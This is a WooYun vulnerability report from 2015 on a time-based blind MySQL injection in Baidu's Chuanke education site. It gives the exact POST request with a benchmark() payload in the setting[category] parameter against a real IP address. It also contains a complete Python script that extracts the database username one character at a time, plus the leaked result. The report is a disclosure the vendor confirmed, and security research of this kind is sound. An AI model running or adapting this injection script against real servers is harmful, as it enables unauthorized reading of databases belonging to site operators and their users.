当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0129572

漏洞标题:百度传课网一处MySQL注射(附验证脚本)

相关厂商:百度

漏洞作者: lijiejie

提交时间:2015-07-27 07:59

修复时间:2015-09-10 11:04

公开时间:2015-09-10 11:04

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:6

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-27: 细节已通知厂商并且等待厂商处理中
2015-07-27: 厂商已经确认,细节仅向厂商公开
2015-08-06: 细节向核心白帽子及相关领域专家公开
2015-08-16: 细节向普通白帽子公开
2015-08-26: 细节向实习白帽子公开
2015-09-10: 细节向公众公开

简要描述:

百度传课网一处MySQL注射(附验证脚本)

详细说明:

注入点:

POST /?act=custom&do=loadModule&mod=school HTTP/1.1
Content-Length: 347
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://123.125.112.93
Host: 123.125.112.93
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 8_0 like Mac OS X) AppleWebKit/600.1.3 (KHTML, like Gecko) Version/8.0 Mobile/12A4345d Safari/600.1.4
Accept: */*
mid=5&setting%5Bcategory%5D=(benchmark(4000000*(length(user())=17),md5(123)))&setting%5Bcolumn%5D=3&setting%5Bdisplay%5D=true&setting%5Blimit%5D=6&setting%5Bposition%5D=right&setting%5Bsort%5D=2&setting%5Btitle%5D=%E8%AF%BE%E7%A8%8B%E5%88%97%E8%A1%A8&sid=1826279


参数setting[category]和setting[sortlist]可注入。

漏洞证明:

用benchmark保险一些,不会将db server打挂了。
猜解user(),得到:

[Done] MySQL user is kkapp@10.42.4.2


chuanke.png


python脚本:

#encoding=utf-8
import httplib
import time
import string
import sys
import random
import urllib
headers = {'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': 'Googlebot/2.1 (+http://www.googlebot.com/bot.html)',}
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
print '[%s] Start to retrive MySQL User:' % time.strftime('%H:%M:%S', time.localtime())
user = ''
for i in range(1, 18):
for payload in payloads:
s = 'ascii(mid(user()from(%s)for(1)))=%s' % (i, ord(payload))
s = "mid=5&setting%5Bcategory%5D=(benchmark(4000000*(" + s + "),md5(123)))&setting%5Bcolumn%5D=3&setting%5Bdisplay%5D=true&setting%5Blimit%5D=6&setting%5Bposition%5D=right&setting%5Bsort%5D=2&setting%5Btitle%5D=%E8%AF%BE%E7%A8%8B%E5%88%97%E8%A1%A8&sid=1826279"
conn = httplib.HTTPConnection('123.125.112.93', timeout=30)
conn.request(method='POST', url='/?act=custom&do=loadModule&mod=school', body=s, headers=headers)
start_time = time.time()
html_doc = conn.getresponse().read()
conn.close()
print '.',
if time.time() - start_time > 1.0:
user += payload
print '\n[in progress]', user,
break

print '\n[Done] MySQL user is %s' % user

修复方案:

参数过滤

版权声明:转载请注明来源 lijiejie@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-07-27 11:03

厂商回复:

感谢提交

最新状态:

暂无